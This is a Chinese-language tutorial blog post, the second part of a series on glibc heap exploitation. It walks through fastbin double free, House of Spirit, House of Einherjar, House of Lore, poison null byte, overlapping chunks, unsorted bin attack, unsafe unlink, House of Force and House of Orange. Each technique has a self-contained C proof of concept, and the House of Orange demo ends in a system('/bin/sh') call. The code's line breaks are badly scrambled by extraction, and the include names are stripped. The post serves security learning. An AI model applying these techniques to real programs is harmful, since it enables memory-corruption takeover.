Linux heap 學習(下)

上週我們學習了Linux heap 學習 上,今天的文章繼續第二部分的內容

title: Linux heap 學習

tags: Heap,pwn,linux

grammar_cjkRuby: true

利用週末的時間,系統的學習了linux 系統的glibc堆分配機制,從中瞭解了很多以前很模糊的東西。本文打算系統的講解一下關於堆的分配和使用機制,同時思考可能存在的一些攻擊方法。

0x03 Heap 漏洞利用方法

Fast bin 類型

0x1 Double free

在fastbin中存在的一種漏洞利用方式,fastbin在free堆塊時會檢查是否重複釋放同一個堆塊。如果我們繞過了安全機制將一個堆塊釋放了兩次,那麼就可以通過malloc的堆塊對fastbin鏈表中的堆塊的fd進行改寫,從而可以實現申請任意內存的目的。

下面是具體的利用方法:

#include


#include



int
main()
{

unsigned

long

long
stack_var[
2
];
fprintf(stderr,
"The address we want malloc() to return is %p.\n"
,
16
+(
char
*)stack_var);

int
*a = malloc(
8
);

int
*b = malloc(
8
);

int
*c = malloc(
8
);
free(a);
free(b);
//Pass the free check
free(a);

unsigned

long

long
*d = malloc(
8
);

malloc(
8
);
//Now the fastbin list has only a left
stack_var[
1
] =
0x20
;
fprintf(stderr,
"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n"
, a);
*d = (
unsigned

long

long
) (((
char
*)&stack_var) );
fprintf(stderr,
"3rd malloc(8): %p, putting the stack address on the free list\n"
, malloc(
8
));
fprintf(stderr,
"4th malloc(8): %p\n"
, malloc(
8
));
}
Linux heap 學習(下)


Linux heap 學習(下)


利用方法比較簡單,繞過檢查機制,兩次申請內存,重寫fastbin堆塊的鏈表,造成任意內存地址申請。

0x2 Fastbin cover fd

通過前一個fastbin覆蓋後面的fastbin的fd使得下下次分配的時候可以得到任意地址(這裡測試的是bss段

具體操作方法如下

#include


#include


#include


#include


#include


long

long

int

fake_chunk[
100
];
int
main(
int
argc,
char
*argv[])
{

void
*buf0,*buf1,*buf2,*buf3;
fake_chunk[
1
]=
0x41
;
buf0 = malloc(
0x30
);
buf1 = malloc(
0x30
);
free(buf1);

int
*offset = (
char
*)buf0+
0x40
;
//find next chunk's fd point address
*offset = fake_chunk;
//chunk->fd = fake_chunk
buf2 = malloc(
0x30
);
buf3 = malloc(
0x30
);
printf(
"發生溢出的chunk2被分配\n%p\n溢出改寫的fd地址被分配\n%p\n"
,buf2,buf3);

return

0
;

}
Linux heap 學習(下)

通過溢出前一塊,覆蓋下一塊fd指針。關鍵在於bypass malloc fastbin安全檢測,看大小是否是fastbin的範圍

0x3 House of Spirit

看到fastbin的鏈表結構是不是又想到一種,如果free一個假的堆塊指針,那麼他也會插進fastbin鏈表,這時再次申請相同內存空間(注意大小),就可以對我們偽造的一段內存進行操作。

下面是具體的利用方法。

#include


#include


#include


#include


#include


long

long

int

Fakechunk
[
100
];
int
main()
{

void
*p;
malloc(
1
);

Fakechunk
[
1
]=
0x31

;

Fakechunk
[
7
]=
0X11
;
//set prev_inuse bit 1 to bypass the free check
p=&
Fakechunk
[
2
];
free(p);
//put the chunk to fastbin list
p=malloc(
0x20
);
printf(
" 任意地址:%p\n"
,p);
}
Linux heap 學習(下)

主要還是在free的時候檢查的不夠仔細,造成偽造chunk插入fastbin的現象。

Small bin 類型

0x1 House of Einherjar

此漏洞的根本原因在於在執行free函數是,檢測previnuse位後符合合併條件就開始合併,雖然在unlink時有是否在鏈表的檢測,但是沒有對prevsize的大小進行檢測。

具體利用過程如下

#include


#include


#include


#include


#include


int

main()
{

uint8_t
* a;

uint8_t
* b;

uint8_t
* d;
a = (
uint8_t
*) malloc(
0x38
);

int
real_a_size = malloc_usable_size(a);

size_t
fake_chunk[
6
];
fake_chunk[
1
] =
0x100
;
// size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[
2
] = (
size_t
) fake_chunk;
// fwd
fake_chunk[
3
] = (
size_t
) fake_chunk;
// bck
fake_chunk[
4
] = (
size_t
) fake_chunk;
//fwd_nextsize Remember this chunk must be large chunk, so it check the nextsize link
fake_chunk[
5

] = (
size_t
) fake_chunk;
//bck_nextsize
b = (
uint8_t
*) malloc(
0x1f0
);
//Attention low byte must be 0xf0 or 0xf8,because of null byte overflow

int
real_b_size = malloc_usable_size(b);
a[real_a_size] =
0
;

size_t
fake_size = (
size_t
)((b-
sizeof
(
size_t
)*
2
) - (
uint8_t
*)fake_chunk);
*(
size_t
*)&a[real_a_size-
8
] = fake_size;
fake_chunk[
1
] = fake_size;
//prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size

// fake_chunk[0] = real_b_size; This line is not needed
free(b);

int
*dd = malloc(
8
);
fprintf(stderr,
"i want to malloc: %p\n"
,
2

+fake_chunk);
fprintf(stderr,
"Now i malloc chunk's addr: %p\n"
, dd);
}
Linux heap 學習(下)

對於堆塊合併檢查的不夠到位,有漏洞可尋。

0x2 House of lore

通過偽造smallbin鏈表,欺騙smallbin將偽造鏈表加入主鏈表。從而獲得目標地址的讀寫權。

具體操作如下

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include


#include


#include


#include


void
jackpot(){ puts(
"Nice jump d00d"
);
exit
(
0
); }
int
main(

int
argc,
char
* argv[]){

intptr_t
* stack_buffer_1[
4
] = {
0
};
//stack1

intptr_t
* stack_buffer_2[
3
] = {
0
};
//stack2

intptr_t
*victim = malloc(
0x80
);

intptr_t
*victim_chunk = victim-
2
;
stack_buffer_1[
0
] =
0
;
stack_buffer_1[
1
] =
0
;
stack_buffer_1[
2
] = victim_chunk;
stack_buffer_1[
3
] = (
intptr_t
*)stack_buffer_2;
//create fd & bk point
stack_buffer_2[

2
] = (
intptr_t
*)stack_buffer_1;

void
*p5 = malloc(
1000
);
//avoid to add to top chunk
free((
void
*)victim);
//

void
*p2 = malloc(
1200
);
//make unsorted chunk into small chunk

//------------VULNERABILITY-----------
fprintf(stderr,
"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"
);
victim[
1
] = (
intptr_t
)stack_buffer_1;
// victim->bk is pointing to stack

//------------------------------------

void
*p3 = malloc(
0x80
);
//malloc old victim address

char
*p4 = malloc(
0x80
);
//get stack address
fprintf(stderr,
"\np4 is %p and should be on the stack!\n"
, p4);
// this chunk will be allocated on stack

intptr_t
sc = (
intptr_t
)jackpot;
// Emulating our in-memory shellcode
memcpy((p4+
40
-
10
-
6
), &sc,
8
);
// This bypasses stack-smash detection since it jumps over the canary
}
Linux heap 學習(下)

主要是可以對free掉的指針進行操作,從而使得鏈表的構成。同時繞過了smallbin 的malloc檢測,成功實現了分配棧地址,最後覆蓋了ret地址

0x3 poison null byte

此類型的漏洞比較新奇,主要利用的堆塊在向前合併時並沒有檢查前一塊堆塊的大小,導致了合併現象的發生,從而可以操作已經malloc的內存區域。

  1. 申請三個連續的內存a,b,c
  2. 釋放b,並且將末尾塊的前8byte設置成虛假的prevsize,用來保護c塊中真實的prevsize
  3. 用a的0 byte 溢出覆蓋b堆塊的size位,使得大小變小,且正好在prev_size的上面
  4. 連續申請b1,b2,注意總大小不要超過b,這樣使得c的P位始終保持為0,為的是後面的free(c)合併操作,這時因為有2中的fake prev_size的保護所以一直沒有變
  5. 最後free(c),檢測b1是否在freebin的鏈表中
#include


#include


#include


#include


#include


int
main()
{

uint8_t
* a;

uint8_t
* b;

uint8_t
* c;

uint8_t
* b1;

uint8_t
* b2;

uint8_t
* d;
a = (
uint8_t
*) malloc(
0x100
);
fprintf(stderr,
"a: %p\n"
, a);

int
real_a_size = malloc_usable_size(a);
b = (

uint8_t
*) malloc(
0x200
);
fprintf(stderr,
"b: %p\n"
, b);
c = (
uint8_t
*) malloc(
0x100
);
fprintf(stderr,
"c: %p\n"
, c);

uint64_t
* b_size_ptr = (
uint64_t
*)(b -
8
);
*(
size_t
*)(b+
0x1f0
) =
0x200
;
//fake prev_size
free(b);
a[real_a_size] =
0
;
// this 0 byte change the size of chunk to save the old prev_size
b1 = malloc(
0x100
);
b2 = malloc(
0x80
);
fprintf(stderr,
"b2: %p\n"
,b2);
memset(b2,
'B'
,
0x80
);
fprintf(stderr,

"Current b2 content:\n%s\n"
,b2);
free(b1);
//to marge with c
*(
size_t
*)(c-
8
) =
0xf0
;
*(
size_t
*)(c+
0xe8
) =
0x21
;
free(c);
d = malloc(
0x200
);
//get b memery
memset(d,
'D'
,
0x200
);
fprintf(stderr,
"New b2 content:\n%s\n"
,b2);
}
Linux heap 學習(下)

重點還是在於那個fake prev_size,一個很奇特的用法

0x4 overlapping chunks after free

首先創建兩個smallbin,然後正常free掉一個smallbin ,然後更改free掉的chunk的size,使之包含下一個chunk,再次malloc即可對下一chunk進行操作

#include


#include


#include


#include


#include


long

long

int
fake_chunk[
100
];
int
main(
int
argc,
char

*argv[])
{

void
*buf0,*buf1,*buf2,*buf3;
fake_chunk[
1
]=
0x41
;
buf0 = malloc(
0x80
);
buf1 = malloc(
0x80
);
free(buf0);

int
*offset = (
char
*)buf0-
8
;
//find next chunk's fd point address
*offset =
0x201
;
//chunk->fd = fake_chunk
buf3 = malloc(
0x1f0
);
memset(buf3,
'1'
,
0x190
);
printf(
"%s\n"
,buf1 );

return

0
;
}

0x5 overlapping chunks before free

上一個是在free之後更改大小,這一次是在free之前更改大小

/*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include


#include


#include


#include


#include


int
main(){

intptr_t
*p1,*p2,*p3,*p4,*p5,*p6;

unsigned

int
real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;

int
prev_in_use =

0x1
;
p1 = malloc(
1000
);
p2 = malloc(
1000
);
p3 = malloc(
1000
);
p4 = malloc(
1000
);
p5 = malloc(
1000
);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
memset(p1,
'A'
,real_size_p1);
memset(p2,
'B'
,real_size_p2);
memset(p3,
'C'
,real_size_p3);
memset(p4,
'D'
,real_size_p4);
memset(p5,
'E'
,real_size_p5);
free(p4);
*(
unsigned

int
*)((
unsigned

char
*)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use +
sizeof
(
size_t

) *
2
;
// free(p2);
p6 = malloc(
2000
);
real_size_p6 = malloc_usable_size(p6);
fprintf(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf(stderr,
"%s\n"
,(
char
*)p3);
fprintf(stderr,
"\nLet's write something inside p6\n"
);
memset(p6,
'F'
,
1500
);
fprintf(stderr,
"\nData inside chunk p3: \n\n"
);
fprintf(stderr,
"%s\n"
,(
char
*)p3);
}

起因還是可以隨意更改chunk的size

unsorted bin 類型

0x1 unsorted bin attack

通過對unsorted 堆塊指針的篡改,使得在unsorted bin鏈表中拆掉時,造成任意地址寫漏洞。

並且只是單向鏈表的賦值 p->bk->fp=p->fp

#include


#include


int
main(){

unsigned

long
stack_var1=
1
;

unsigned

long
stack_var2=
2
;

unsigned

long
*q,*p=malloc(
400
);
q=malloc(
500
);
free(p);

//------------VULNERABILITY-----------
p[
1

]=(
unsigned

long
)(&stack_var1-
2
);
p[
0
] = (
unsigned

long
)(q);

//------------------------------------
malloc(
400
);
//this option will check fastbin smallbin ,the last one is unsorted bin .if not find fit chunk in unsorted bin it will make the chunk into small or large bin list
fprintf(stderr,
"%p: %p\n"
, &stack_var1, (
void
*)stack_var1);
fprintf(stderr,
"%p: %p\n"
, &stack_var2, (
void
*)stack_var2);
}
Linux heap 學習(下)

這裡有個疑問在unsortedbin 的chunk拆下來時,其fd中的地址內容並沒有改變,推測只改變了bk指針內的內容。

0x2 unsafe unlink

在空閒堆塊合併的時候執行unlink函數,通過偽造fd和bk指針達到修改任意地址的目的。注意unlink的安全檢測,具體操作如下

  1. 申請兩個連續的chunk
  2. 在第一個chunk中偽造一個fake chunk
  3. 將bss的指針參數地址填寫到fake chunk的fd,bk,並且能夠繞過檢測unlink
  4. free(chunk2) 發生合併,並執行unlink,將free chunk從鏈表中卸掉
#include


#include


#include


#include


uint64_t
*chunk0_ptr;
int
main()
{

int
malloc_size =
0x80
;
//we want to be big enough not to use fastbins

int
header_size =
2
;
chunk0_ptr = (
uint64_t
*) malloc(malloc_size);
//chunk0

uint64_t
*chunk1_ptr = (
uint64_t
*) malloc(malloc_size);
//chunk1
chunk0_ptr[
2
] = (
uint64_t
) &chunk0_ptr-(
sizeof
(
uint64_t
)*
3
);
chunk0_ptr[
3
] = (
uint64_t
) &chunk0_ptr-(
sizeof
(
uint64_t
)*
2
);


uint64_t
*chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[
0
] =
0x80
;
//fake size of prev chunk
chunk1_hdr[
1
] &= ~
1
;
//make prev chunk free
free(chunk1_ptr);

char
victim_string[
8
];
strcpy(victim_string,
"Hello!~"
);
chunk0_ptr[
3
] = (
uint64_t
) victim_string;
fprintf(stderr,
"Original value: %s\n"
,victim_string);
chunk0_ptr[
0
] =
0x4141414142424242LL
;
fprintf(stderr,
"New Value: %s\n"
,victim_string);
}
Linux heap 學習(下)

這種利用方法只需繞過unlink的鏈表檢測,操作比較簡單

Top chunk 類型

0x1 House of Force

這個類型的漏洞利用方法比較簡單,通過溢出更改topchunk的大小(這裡改成-1),從而可以malloc到想要的內存地址

具體利用流程如下

#include


#include


#include


#include


#include


#include


char

bss_var[] =
"This is a string that we want to overwrite."
;
int
main(
int
argc ,
char
* argv[])
{

intptr_t
*p1 = malloc(
256
);

int
real_size = malloc_usable_size(p1);

//----- VULNERABILITY ----

intptr_t
*ptr_top = (
intptr_t
*) ((
char
*)p1 + real_size);
ptr_top[
0
] = -
1
;
//change the size of topchunk

//------------------------

unsigned

long
evil_size = (
unsigned

long
)bss_var -
sizeof
(
long
)*
2
- (

unsigned

long
)ptr_top;
//except bss_var head's length sizeof(long)*2

void
*new_ptr = malloc(evil_size);

void
* ctr_chunk = malloc(
100
);
fprintf(stderr,
"... old string: %s\n"
, bss_var);
strcpy(ctr_chunk,
"YEAH!!!"
);
fprintf(stderr,
"... new string: %s\n"
, bss_var);
}
Linux heap 學習(下)

這裡BSS段在heap的前面所以說相當於malloc函數向前申請了空間,這一點不知道是如何做到的,並且這裡缺少安全機制的檢測

0x2 The house of orange

這個漏洞的利用過程很是奇妙,主要利用了在執行abort的時候調用了 _IO_flush_all_lockp函數,這裡需要了解 IO_FILE_ALL的結構,

Linux heap 學習(下)

所以這個漏洞的根本原因在於,重寫了存儲 IO_FILE_ALL的指針,通過觸發malloc函數中的unlink操作使得檢測失敗,執行難abort函數,然而其中的 _IO_flush_all_lockp函數早已被替換為其他的地址,成功劫持執行流。

幾個步驟

  1. 申請兩個大於fastbin大小的堆塊,並且把第一個chunk釋放掉(主要是為了獲得fp,bk指針)
  2. 偽造iofile,通過unsorted attack去更改iofile指針中的內容
  3. 更改被free chunk的大小(將該chunk存放在特定的smallbin中)
  4. 執行malloc 申請內存大小不同於上述的chunk,通過unsorted的遍歷觸發malloc abort函數
#include


#include


#include


int
winner (
char
*ptr);
int
main()
{

char
*p1, *p2;

size_t
io_list_all, *top;
p1 = malloc(
0x400
-
16
);
malloc(
0x400
-
16
);
free(p1);
top = (
size_t
*) ( (
char
*) p1 -
16
);
io_list_all = top[
2
] +
0x9e8
;
top[
3
] = io_list_all -
0x10
;
memcpy( (
char
*) top,
"/bin/sh\\x00"
,
8
);
top[
1
] =
0x61
;
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode =
0
;
// top+0xc0

fp->_IO_write_base = (
char
*)
2
;
// top+0x20
fp->_IO_write_ptr = (
char
*)
3
;
// top+0x28

size_t
*jump_table = &top[
12
];
// controlled memory
jump_table[
3
] = (
size_t
) &winner;
*(
size_t
*) ((
size_t
) fp +
sizeof
(_IO_FILE)) = (
size_t
) jump_table;
// top+0xd8

/* Finally, trigger the whole chain by calling malloc */
malloc(
0x40
);
// size <= 0x50

return

0
;
}
int
winner(
char
*ptr)
{

system(ptr);

return

0
;
}
Linux heap 學習(下)

注意幾個要點

  • 程序流劫持是abort中的函數造成的,具體的操作是替換了IO_FILE的指針
  • 替換指針的操作是unsorted bin從鏈表中拆除造成的
  • 修改堆塊的大小是為了將chunk插入相對應偏移的smallbin list中
  • malloc異常是由unsorted bin指針異常引起的


分享到:


相關文章: